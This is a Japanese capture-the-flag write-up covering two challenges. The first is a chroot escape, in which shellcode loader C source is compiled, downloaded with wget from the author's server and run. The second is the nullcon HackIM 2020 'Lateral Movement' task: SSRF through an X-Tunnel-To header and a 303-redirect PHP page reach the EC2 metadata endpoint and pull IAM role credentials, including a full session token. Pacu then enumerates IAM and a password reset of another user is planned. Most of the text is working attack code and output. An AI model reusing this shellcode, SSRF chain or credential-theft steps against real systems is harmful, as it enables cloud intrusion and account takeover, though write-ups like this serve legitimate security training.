root@ip-172-31-6-71:/var/www/html# cat ./loader.c /* loader.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; printf("strlen(code) = %ld\n", strlen(code)); ((void (*)())code)(); return 0; } root@ip-172-31-6-71:/var/www/html# gcc -static -zexecstack loader.c root@ip-172-31-6-71:/var/www/html# ll ./a.out -rwxr-xr-x 1 root root 844736 Mar 22 10:47 ./a.out*
実行ファイルをダウンロードして実行して脱獄。(化けている部分は編集)
/ # cd /tmp cd /tmp /tmp # wget http://13.113.186.8/a.out wget http://13.113.186.8/a.out Connecting to 13.113.186.8 (13.113.186.8:80) saving to 'a.out' a.out 100% |********************************| 824k 0:00:00 ETA 'a.out' saved /tmp # chmod 777 ./a.out chmod 777 ./a.out /tmp # ./a.out ./a.out strlen(code) = 89 / #
脱獄後に、ルートディレクトリを確認すると、pwnディレクトリが存在。
/ # ls -la / ls -la / total 64 drwxr-xr-x 1 root root 4096 Mar 19 01:57 . drwxr-xr-x 1 root root 4096 Mar 19 01:57 .. -rwxr-xr-x 1 root root 0 Mar 19 01:57 .dockerenv drwxr-xr-x 2 root root 4096 Jan 16 21:52 bin drwxr-xr-x 5 root root 340 Mar 22 13:27 dev drwxr-xr-x 1 root root 4096 Mar 19 01:57 etc drwxr-xr-x 2 root root 4096 Jan 16 21:52 home drwxr-xr-x 1 root root 4096 Jan 16 21:52 lib drwxr-xr-x 5 root root 4096 Jan 16 21:52 media drwxr-xr-x 2 root root 4096 Jan 16 21:52 mnt drwxr-xr-x 2 root root 4096 Jan 16 21:52 opt dr-xr-xr-x 1646 root root 0 Mar 22 13:27 proc drwxr-xr-x 1 root root 4096 Mar 17 23:34 pwn drwx------ 2 root root 4096 Jan 16 21:52 root drwxr-xr-x 2 root root 4096 Jan 16 21:52 run drwxr-xr-x 2 root root 4096 Jan 16 21:52 sbin drwxr-xr-x 2 root root 4096 Jan 16 21:52 srv dr-xr-xr-x 13 root root 0 Mar 20 01:16 sys drwxrwxrwt 3 root root 60 Mar 22 13:30 tmp drwxr-xr-x 1 root root 4096 Jan 16 21:52 usr drwxr-xr-x 1 root root 4096 Jan 16 21:52 var / # cd /pwn cd /pwn /pwn # ls -la ls -la total 20 drwxr-xr-x 1 root root 4096 Mar 17 23:34 . drwxr-xr-x 1 root root 4096 Mar 19 01:57 .. -rw-rw-r-- 1 root root 25 Mar 17 21:49 flag.txt drwxr-xr-x 1 root root 4096 Mar 17 23:34 jail -rwxrwxr-x 1 root root 468 Mar 17 21:49 not-so-great-escape /pwn # cat flag.txt cat flag.txt gigem{up_up_&_a_way_0u7}
参考までに、ログイン時に実行されるとみられるnot-so-great-escapeファイルは以下のとおり。
#!/bin/sh chroot_dir=$(mktemp -d) function cleanup { rm -rf ${chroot_dir} } trap cleanup EXIT read -sp "Password: " password echo if [[ -z "${password}" || "(snip)" != "${password}" ]]; then echo -e "Bad password. Exiting." exit 1 fi cp -r /pwn/jail/* ${chroot_dir} cp /etc/apk/repositories ${chroot_dir}/etc/apk/repositories cp /etc/resolv.conf ${chroot_dir}/etc/resolv.conf chroot ${chroot_dir}
nullcon HackIM 2020 Writeup - Lateral Movement
Question
Uncover the new path. http://3.12.166.246:3000/ Note: no need to bruteforce tenant. The tenant can be any string.
Solution
Stage1
URLにアクセスすると、リッチなUIだが静的な画面。
script.jsのbuildActionRequest
関数を見ると、/api/1/というパスが存在することがわかる。
function buildActionRequest(tenant, tag, typ, action, options) { var path; var request; path = "/api/1/"; if (tenant && tag) path += tenant+tag + "/"; path += typ + "?action\x3d" + action; request = { protocol: this.context.protocol, hostname: this.context.hostname, port: this.context.port, path: path, method: "POST", headers: { "Accept": "application/json", "Content-type": "application/json", } }; if (this.context.authToken) request.headers.Authorization = this.context.authToken; if (this.context.tunnelTo) request.headers["X-Tunnel-To"] = this.context.tunnelTo; if (options) { if (options.headers) Object.keys(options.headers).forEach(function(k) { if (options.headers[k]) request.headers[k] = options.headers[k]; else delete request.headers[k] }); if (options.method) request.method = options.method; if (options.path) request.path = options.path; if (options.data) request.data = options.data } return request }
登場しているHTTPヘッダーをセットして、HTTPリクエストを発行してみる。
root@kali:~# curl -H 'X-Tunnel-To: hoge' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}' {"errno":-3008,"code":"ENOTFOUND","syscall":"getaddrinfo","hostname":"hoge"}
X-Tunnel-To
を変更するとレスポンスに変化が現れた。指定したホスト名にリクエストを転送するようだ。
root@kali:~# curl -H 'X-Tunnel-To: localhost' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}' Not permitted! root@kali:~# curl -H 'X-Tunnel-To: example.com' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}' <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> <script type="text/javascript" src="//wpc.75674.betacdn.net/0075674/www/ec_tpm_bcon.js"></script> </body> </html>
Move laterally within the cloud.
というヒントが出ており、AWSのインスタンスメタデータが怪しい。
しかし、インスタンスメタデータの接続先である169.254.169.254
をX-Tunnel-To
に指定するが、ブロックされる。
root@kali:~# curl -H 'X-Tunnel-To: 169.254.169.254' -H 'Content-Type: application/json' -H 'Accept: application/json' 'http://3.12.166.246:3000/api/1/aaa?action=bbb' -d '{"ccc":"ddd"}' So smart, But still Internal not permitted!
そこで、リダイレクトで169.254.169.254
へアクセスさせる。
まず、自分のサーバに169.254.169.254へ303リダイレクトするページを設置する。(302はNGだった)
root@ip-172-31-26-179:~# cat /var/www/html/api/1/metadata.php <?php header('Location: http://169.254.169.254/'.$_GET["q"], TRUE, 303); ?>
X-Tunnel-To
に自分のサーバのホスト名を指定すると、インスタンスメタデータが返ってきた。
root@ip-172-31-26-179:~# curl -H 'X-Tunnel-To: <attacker-server>' 'http://3.12.166.246:3000/api/1/metadata.php' 1.0 2007-01-19 2007-03-01 2007-08-29 2007-10-10 2007-12-15 2008-02-01 2008-09-01 2009-04-04 2011-01-01 2011-05-01 2012-01-12 2014-02-25 2014-11-05 2015-10-20 2016-04-19 2016-06-30 2016-09-02 2018-03-28 2018-08-17 2018-09-24 latest
EC2インスタンスにアタッチされているIAMロールであるlimited-role
の権限で操作が可能なアクセスキーを取得する。
root@ip-172-31-26-179:~# curl -H 'X-Tunnel-To: <attacker-server>' 'http://3.12.166.246:3000/api/1/metadata.php?q=latest/meta-data/iam/security-credentials/limited-role' { "Code" : "Success", "LastUpdated" : "2020-02-08T14:39:41Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIATCUSO7XXPHMSQ3XC", "SecretAccessKey" : "YnHSOXfK1L06PVYJ(snip)", "Token" : "IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ==", "Expiration" : "2020-02-08T20:39:42Z" }
Stage2
入手したアクセスキーとAWS用の侵入テストツールであるpacuを使用して、情報収集およびラテラルムーブメントを行う。
手順に沿ってインストール後、起動する。
root@kali:~/pacu# python3 pacu.py ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧ ⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿ ⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟ ⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁ ⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀ ⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀ ⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿ ⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟ ⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀ No database found at /root/pacu/sqlite.db Database created at /root/pacu/sqlite.db What would you like to name this new session? hackim Session hackim created. Pacu - https://github.com/RhinoSecurityLabs/pacu Written and researched by Spencer Gietzen of Rhino Security Labs - https://rhinosecuritylabs.com/ This was built as a modular, open source tool to assist in penetration testing an AWS environment. For usage and developer documentation, please visit the GitHub page. Modules that have pre-requisites will have those listed in that modules help info, but if it is executed before its pre-reqs have been filled, it will prompt you to run that module then continue once that is finished, so you have the necessary data for the module you want to run. Pacu command info: list/ls List all modules load_commands_file <file> Load an existing file with list of commands to execute search [cat[egory]] <search term> Search the list of available modules by name or category help Display this page of information help <module name> Display information about a module whoami Display information regarding to the active access keys data Display all data that is stored in this session. Only fields with values will be displayed data <service>|proxy Display all data for a specified service or for PacuProxy in this session services Display a list of services that have collected data in the current session to use with the "data" command regions Display a list of all valid AWS regions update_regions Run a script to update the regions database to the newest version set_regions <region> [<region>...] Set the default regions for this session. These space-separated regions will be used for modules where regions are required, but not supplied by the user. The default set of regions is every supported region for the service. Supply "all" to this command to reset the region set to the default of all supported regions run/exec <module name> Execute a module set_keys Add a set of AWS keys to the session and set them as the default swap_keys Change the currently active AWS key to another key that has previously been set for this session import_keys <profile name>|--all Import AWS keys from the AWS CLI credentials file (located at ~/.aws/credentials) to the current sessions database. Enter the name of a profile you would like to import or supply --all to import all the credentials in the file. exit/quit Exit Pacu Other command info: aws <command> Run an AWS CLI command directly. Note: If Pacu detects "aws" as the first word of the command, the whole command will instead be run in a shell so that you can use the AWS CLI from within Pacu. Due to the command running in a shell, this enables you to pipe output where needed. An example would be to run an AWS CLI command and pipe it into "jq" to parse the data returned. Warning: The AWS CLI's authentication is not related to Pacu. Be careful to ensure that you are using the keys you want when using the AWS CLI. It is suggested to use AWS CLI profiles to solve this problem [ADVANCED] PacuProxy command info: proxy [help] Control PacuProxy/display help start <ip> [port] Start the PacuProxy listener - port 80 by default. The listener will attempt to start on the IP supplied, but some hosts don't allow this. In this case, PacuProxy will listen on 0.0.0.0 and use the supplied IP to stage agents and it should work the same stop Stop the PacuProxy listener kill <agent_id> Kill an agent (stop it from running on the host) list/ls List info on remote agent(s) use none|<agent_id> Use a remote agent, identified by unique integers (use "proxy list" to see them). Choose "none" to no longer use any proxy (route from the local host instead) shell <agent_id> <command> Run a shell command on the remote agent fetch_ec2_keys <agent_id> Try to read the meta-data of the target agent to request a set of temporary credentials for the attached instance profile (if there is one), then save them to the Pacu database and set them as the active key pair stager sh|ps Generate a PacuProxy stager. The "sh" format is for *sh shells in Unix (like bash), and the "ps" format is for PowerShell on Windows Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty... User agent for this session set to: aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10
インスタンスメタデータから入手したクレデンシャル情報をセットする。
Pacu (hackim:No Keys Set) > set_keys Setting AWS Keys... Press enter to keep the value currently stored. Enter the letter C to clear the value, rather than set it. If you enter an existing key_alias, that key's fields will be updated instead of added. Key alias [None]: limited-role Access key ID [None]: ASIATCUSO7XXPHMSQ3XC Secret access key [None]: YnHSOXfK1L06PVYJ(snip) Session token (Optional - for temp AWS keys only) [None]: IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ== Keys saved to database.
iam__enum_users_roles_policies_groups
で、IAM関連の情報を取得する。
Pacu (hackim:limited-role) > run iam__enum_users_roles_policies_groups Running module iam__enum_users_roles_policies_groups... [iam__enum_users_roles_policies_groups] Found 1 users [iam__enum_users_roles_policies_groups] Found 3 roles [iam__enum_users_roles_policies_groups] Found 3 policies [iam__enum_users_roles_policies_groups] Found 3 groups [iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed. [iam__enum_users_roles_policies_groups] MODULE SUMMARY: 1 Users Enumerated 3 Roles Enumerated 3 Policies Enumerated 3 Groups Enumerated IAM resources saved in Pacu database.
取得したIAMの情報を表示する。
Pacu (hackim:limited-role) > data Session data: aws_keys: [ <AWSKey: limited-role> ] id: 1 created: "2020-02-08 15:10:24.095578" is_active: true name: "hackim" boto_user_agent: "aws-cli/1.15.10 Python/2.7.9 Windows/8 botocore/1.10.10" key_alias: "limited-role" access_key_id: "ASIATCUSO7XXPHMSQ3XC" secret_access_key: "******" (Censored) session_token: "IQoJb3JpZ2luX2VjEC8aCXVzLWVhc3QtMiJHMEUCIQDAF8T+X3zFRfBeNrFz8qeG66VZMerjIO2UrpjZC0c5VwIgdI9iR9VVbT2db7ppnZxj3mE7yBPbvzXqAUCa/v4l/coqvQMI2P//////////ARAAGgwyMTE4MzQzMDYwMzAiDHhVCl2VO7silpXomiqRA4XolMzX5R5MwDD5gg5diaM1jjvsWq+0uJrzpg/l7ULAScCnp18v2I0SdyDb0TmERoGhgP3o2g2gHAtqZgVEDQe//1wG3DBeQ+GLmplMbpgs3+cZcqhKBG5CmMwusCBNTbiJTlkHzYe5bExR24YschWAmVnU+GSoBSvvQiIanJyV8ALDnvjt/5E8y6gnWm/KCCxjTaGwL3JormkaHWxCnEo/ayt+NY6+dZwe4z5+0UnhxokBvyCQDISPRH4zwLJNUiZ/whyTyQIsn1DDFicNQlUngWl3Ek0uvqBp/JtKSVpMRlF5j5jdE3rAnBoqF6nvfUlYl7LRVONfNw0rK6L0NdKSBtrXhBtdJuz5ZWVxBiB4z3V6ieoNzUGti9ivRAGPevsRtWkH3jXItJQEgJ9NbQEJCmj5VrYZs+SFHi347P/xjYHjzHNT/NWjPxMNemSb94JaKqb90hFjqgF9CkFgtq4q7R2pSlKy/H3UXwkE5bYuAI+DjtaTNz6KPSYLY16ReGGknhqy6D3v/quDMHmF/6mkMKmQ+/EFOusBN5piQfRQKrwm862otyDB1HTKTtUdSAj9y/ACwcN6LUAZBQdXwMyL5QWMWk6j30LUl1ODHg1MtpydMNbVdwYM3jSZLSPgmAsD6QW6/jB/ECdAWsnBgNH7VvmccAZtuFFlYFh+zJmaTkYHFMMAkPG17oWDfJO0ofZlFq99DxuJ4OZDnp47zxEEN9C2vLcEBRV6644pbK4qo9e3ZLS1vy0zMJEd6wLcU4G3U3HFz0xfyANMV2d+m0ps+66WJb1nSr/xY8JxFAPrn24ehFdeDbsSJdMEI7mYjssrsinBjPwNCOIGE/TEjMPofVzvpQ==" session_regions: [ "all" ] IAM: { "Users": [ { "Path": "/", "UserName": "poorUser", "UserId": "AIDATCUSO7XXPAUMHXSZ2", "Arn": "arn:aws:iam::211834306030:user/poorUser", "CreateDate": "Thu, 23 Jan 2020 15:42:45", "PasswordLastUsed": "Sat, 08 Feb 2020 14:12:41" } ], "Roles": [ { "Path": "/aws-service-role/support.amazonaws.com/", "RoleName": "AWSServiceRoleForSupport", "RoleId": "AROATCUSO7XXKU7K6BBJM", "Arn": "arn:aws:iam::211834306030:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport", "CreateDate": "Thu, 23 Jan 2020 11:20:05", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "support.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Enables resource access for AWS to provide billing, administrative and support services", "MaxSessionDuration": 3600 }, { "Path": "/aws-service-role/trustedadvisor.amazonaws.com/", "RoleName": "AWSServiceRoleForTrustedAdvisor", "RoleId": "AROATCUSO7XXCDG4HOBDW", "Arn": "arn:aws:iam::211834306030:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor", "CreateDate": "Thu, 23 Jan 2020 11:20:05", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "trustedadvisor.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.", "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "limited-role", "RoleId": "AROATCUSO7XXK6KY3Y54E", "Arn": "arn:aws:iam::211834306030:role/limited-role", "CreateDate": "Thu, 23 Jan 2020 16:16:29", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "Description": "Allows EC2 instances to call AWS services on your behalf.", "MaxSessionDuration": 3600 } ], "Policies": [ { "PolicyName": "limited-role-2", "PolicyId": "ANPATCUSO7XXEQI2GQ6A6", "Arn": "arn:aws:iam::211834306030:policy/limited-role-2", "Path": "/", "DefaultVersionId": "v11", "AttachmentCount": 2, "IsAttachable": true, "CreateDate": "Sat, 08 Feb 2020 07:15:23", "UpdateDate": "Sat, 08 Feb 2020 07:50:32" }, { "PolicyName": "limiteds3", "PolicyId": "ANPATCUSO7XXJVJ3W23VX", "Arn": "arn:aws:iam::211834306030:policy/limiteds3", "Path": "/", "DefaultVersionId": "v1", "IsAttachable": true, "CreateDate": "Thu, 23 Jan 2020 21:20:26", "UpdateDate": "Thu, 23 Jan 2020 21:20:26" }, { "PolicyName": "limited", "PolicyId": "ANPATCUSO7XXKNAARZWEA", "Arn": "arn:aws:iam::211834306030:policy/limited", "Path": "/", "DefaultVersionId": "v12", "AttachmentCount": 1, "IsAttachable": true, "CreateDate": "Thu, 23 Jan 2020 15:40:20", "UpdateDate": "Sat, 08 Feb 2020 07:11:05" } ], "Groups": [ { "Path": "/", "GroupName": "limited2", "GroupId": "AGPATCUSO7XXM4A7JKWKI", "Arn": "arn:aws:iam::211834306030:group/limited2", "CreateDate": "Sat, 08 Feb 2020 07:16:17" }, { "Path": "/", "GroupName": "limiteds3g", "GroupId": "AGPATCUSO7XXCJPDNISWZ", "Arn": "arn:aws:iam::211834306030:group/limiteds3g", "CreateDate": "Thu, 23 Jan 2020 21:21:19" }, { "Path": "/", "GroupName": "priv", "GroupId": "AGPATCUSO7XXIZJZ6F56S", "Arn": "arn:aws:iam::211834306030:group/priv", "CreateDate": "Thu, 23 Jan 2020 15:40:53" } ] } Proxy data: { "IP": "0.0.0.0", "Port": 80, "Listening": false, "SSHUsername": "", "SSHPassword": "", "TargetAgent": [] }
AWSアカウントIDは211834306030
であることと、poorUser
というIAMユーザーがいることがわかる。
iam__privesc_scan
で、他ユーザへの権限昇格を試すと、limited-role
ロールにUpdateLoginProfile
ポリシーがアタッチされていることがわかる。UpdateLoginProfile
ポリシーを持っていれば、他のIAMユーザのパスワードを変更できるようだ。poorUser
のパスワードを変更する。
